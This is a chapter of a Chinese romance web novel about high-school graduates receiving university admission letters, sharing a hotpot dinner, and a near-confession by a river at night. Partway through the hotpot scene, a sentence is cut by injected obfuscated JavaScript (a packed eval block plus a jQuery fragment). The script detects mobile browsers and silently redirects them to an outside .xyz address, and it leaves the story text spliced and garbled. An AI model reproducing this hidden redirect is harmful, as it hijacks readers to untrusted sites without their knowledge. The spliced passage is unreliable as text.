大学的录取通知书就像枝头的果实,在经历多年的风雨洗礼后,在这个暑假终于应声落地。如果说十二年的苦读是一场漫长的马拉松,那这张通知书,就是撞过终点线后,发给你的那张完赛奖牌。它宣告着一段征途的结束,也意味着可以开启新一段路程。
江一鸣发来一段视频,记录他拆录取通知书的全程,视频中湘南大学的信封被他抖得哗啦响。
“哇哦!我已经是准大学生了!”视屏里的江一鸣顶着两个夸张的黑眼圈,“知总!越哥!没有你们就没有今天的我!我过段时间去庙里给你们立长生位!”
顾知秋:……
时越:……
徐嘉瑜也第一时间给顾知秋拍了传媒大学的录取通知书,照片背景看起来艺考的培训资料;许丹丹发了说说,配文是【以后是不是可以穿短袖冬天啦~】,外加中大的校园的大门;就连林修远也低调地晒了交大的通知书,虽然一个字都没写。
顾知秋真心替他们每个人开心,逐一认真的点赞,各种撒花、恭喜的表情轮番上阵。
不同于别人的翘首期盼,时越早在一个月前就收到了P大保送生专属材料。他仿佛是那个早就过了桥的人,早就从容地站在对岸,看着朋友们为抵达而雀跃、欢呼。
而属于顾知秋的“果实”,在一个周二的午后,抵达他们家。
快递刚拿到手,妈妈的手机就响了起来,是爸爸打来的。“收到了吗?怎么样?是不是P大?”电话那头的声音比平时高了几度。
“收到了,收到了!只只正在拆呢,本来她想等你回来再拆的,我等不及了。”妈妈一边讲电话,一边目不转睛的看着顾知秋,提醒她开信封袋的时候小心点。
看着妈妈比自己还紧张热切的模样,顾知秋心头一暖。索性将那个沉甸甸的信封往妈妈面前一递:“老妈,你来拆吧。”
“我?不行不行!这怎么行?”妈妈连忙摆手,对着电话那头有些激动地说,“你姑娘让我拆呢,我这手抖,等会给弄坏了怎么办?”
“哎呀,没事的!肯定弄不坏的呀!”顾知秋语气轻快,带着一些撒娇的意思,不由分说地将信封塞进妈妈手里,然后迅速拿出手机,切换到录像模式,
“您来拆!我来录视频,等会儿老爸回来给他看!”
镜头里,妈妈抿着嘴,努力想表现得镇定一些,但嘴角和眉梢压不住的笑意,还有微微发颤的手指还是泄露了她心里的激动。她拿起裁纸刀,动作小心翼翼、近乎虔诚地划开信封的封口。
录取通知书被一点点抽出,P大的校徽首先映入眼帘。妈妈定定地看了两秒,才下定决心般,把它完全拿出来。当“顾知秋”和“法学院”那几个字清晰地映入眼帘时,她的眼眶几乎是瞬间就红了。
爸爸下班回家后,看到茶几上的信封,又捧着通知书来回看了好几遍,仿佛要把每一个字都研究透。放下后,他大手一挥,做出了一个“重大决定”:“今晚不下厨了!下馆子!咱们去吃自助!”
妈妈笑着嗔怪他乱花钱,却已经在商量,去哪家吃比较好。
顾知秋看着父母忙碌而喜悦的身影,心里那片曾经荒芜的角落,此刻被这种平淡温馨的日常填满。她觉得不需要再刻意地去弥补什么,因为眼前的一切,早已是她所能想象到的、最好的样子。
—
高考后的□□群,从早吵到晚,消息提示音仿佛就没停过。而这一天,终于把高三寒假没能成行的火锅局给落实了。
“服务员,再加一盘毛肚!三盘肥牛!”
火锅店里人声鼎沸,氤氲的蒸汽,模糊了每一张年轻而兴奋的脸庞。这张长桌的中央,牛油锅底和菌菇锅底翻滚沸腾,如同他们此刻无法平息的心情。
“兄弟们!为我们顺利翻过高考这座大山,走一个!”他举起冰镇可乐,说得跟壮行一般,表情有些滑稽。
“干杯!”几个杯子叮叮当当地撞在一起,可乐的气泡欢快地炸开。徐嘉瑜笑得东倒西歪,差点把麻酱蘸料泼到许丹丹身上。
“哎呀,你看着点!我这可以是新衣服,要穿去大学惊艳四方的!”许丹丹笑着连忙躲开,语气里却没半分责怪,还给徐嘉瑜捞了一勺她最爱的虾滑。
顾知秋被这热闹感染,嘴角一直扬着。她刚捞起一片肥牛,碗里就多了一只剥好的虾。虾肉饱满,壳剥得干净利落。
而时越的动作自然流畅,仿佛只是顺手。
她侧过头,看向身边的时越。他目光落在前方,仿佛正专注地听着江一鸣吹牛,但手上的动作却没有丝毫停顿。修长的手指套着一次性手套,灵巧地扭住虾头,一拧,一剥,便露出饱满的虾肉。整个过程干脆利落。侧脸在蒸腾的热气里有些模糊,唯有耳廓的轮廓清晰,大概天气太热,透着一层薄薄的红。
他把第二只虾也放进她碗里,这才转过头,目光与她撞个正着。在火锅店嘈杂的背景和黄色的灯光下,他的眼神很深,像潭水,能清晰地倒映出她的样子。
“看你好像没空剥。”他声音不高,语气平淡得像在说今天天气还不错。
“谢谢。”她轻声道谢,低头咬下那只虾,鲜甜Q弹,但觉得这心跳也跳得有些急,仿若眼前沸腾的锅底,咕噜咕噜地喧嚣着。
没错,她从来享受过男生给自己剥虾。以前觉得,什么虾都要自己剥才够味,她才不向往成为那种“非别人剥不吃虾”的女生。现在才发现,这别人剥的虾确实就是更鲜甜啊,尤其在是对方还是个帅哥的时候。
“哇哦!”对面的徐嘉瑜捕捉到这一幕,立刻起哄,甚至激动地用筷子敲了敲碗边,求关注。
“越哥,越哥,我们也想吃剥好的虾!”江一鸣捏着嗓子撒娇,有些辣眼睛。
时越眼皮都没抬,淡定地将手里刚剥好的第三只虾,再一次放进了顾知秋的碗里。动作行云流水,没有一丝犹豫。
“自己动手,丰衣足食。”他语气毫无波澜。
“偏心!”江一鸣捂着心脏,做出一副受伤很深的样子,向许丹丹她俩控诉。
许丹丹看热
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436480|181043||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闹不嫌事大,故作深沉:“这你就不懂了吧?这是学神独家的‘定点投喂’技能,目标锁定,精准配送。你不在服务对象范围内,受伤也没用!”
顾知秋脸颊热得发烫,而时越嘴角噙着一丝极淡的笑意,没说什么,却也没否认。
—
散场时已经过了九点,顾知秋错过了最后一班公交,时越送她回家。好在不远,正好可以散步走回去。此刻的夜晚河岸,燥热未散,但已经褪去了白日的喧嚣,安静了许多。
两人并肩而行,脚步不疾不徐。此刻,路灯在水面上投下浅黄色的波纹,风来影动,化作满河粼粼星光。
他们有一搭没一搭地聊着天,内容很跳脱,从高中刷题,聊到即将到来的大学生活,P大的法学院和物理系离得远不远,还有京市的冬天是不是真的很干……话题平常,而两人之间的气氛却一如既往的默契。
走到一处安静转角,他忽然停下脚步:“顾知秋。”
顾知秋回头,他站在一片路灯下,眼神里有她看不懂的认真和一丝罕见的纠结。
“嗯?”她轻声回应。
“我有样东西想给你。”他像是下定了某种决心。
说完便打开书包,仔细地取出一个边角平整的牛皮纸信封,郑重地递过来。顾知秋略带疑惑地接过,打开发现里面是一张照片:
市图书馆的靠窗座位,她正埋头写题,看衣服应该是今年冬天的时候。照片里,阳光透过巨大的落地窗,恰好落在她肩上,一层柔和的金光笼罩着她,连额前的碎发都清晰可见。
“我那天正好带着相机,看到这一幕,忍不住拍了下来。”时越声音低沉,目光却一寸不移地落在她脸上,似乎是想捕捉着她每一丝反应,“当时,就觉得特别想要留住这个瞬间。”
顾知秋和他目光交汇,也想从他脸上看出点什么。
“我想要留住……”时越刚开口,正要说什么,远处突然腾起几簇烟花,“咻咻”声划破夜空,随即“嘭”地绽开,绚烂的光彩瞬间照亮了他们所在的那一小片天地,也打断了他未说完的话。
两人都被这突如其来的声响和光亮吸引,下意识地抬头望去。一簇接一簇的烟花竞相绽放,忽明忽暗的彩色光影在他们的脸上流淌。
在烟花短暂熄灭的间歇里,世界重归短暂的静谧。河对岸的欢呼声隐隐传来,更衬得他们之间呼吸可闻的静谧。
顾知秋低下头,看着手中那张被烟花照亮又归于朦胧的照片,借着这忽明忽暗的夜色,仿佛终于鼓起方才积攒的所有勇气,几乎是不经思考地脱口而出:
“时越,”她的声音很清晰,清晰地回荡在两人之间的空气里,“你,是不是喜欢我啊?”
话音落下,世界仿佛静止了。只有远处又一轮升空的烟花尖啸声,由远及近,像是在为她这一句,奏响最浪漫的背景音
她的声音与烟火一同消失在夜色里。两人之间又一次陷入等待的静默。
旧的故事已经写完,而新的篇章,才刚刚开启。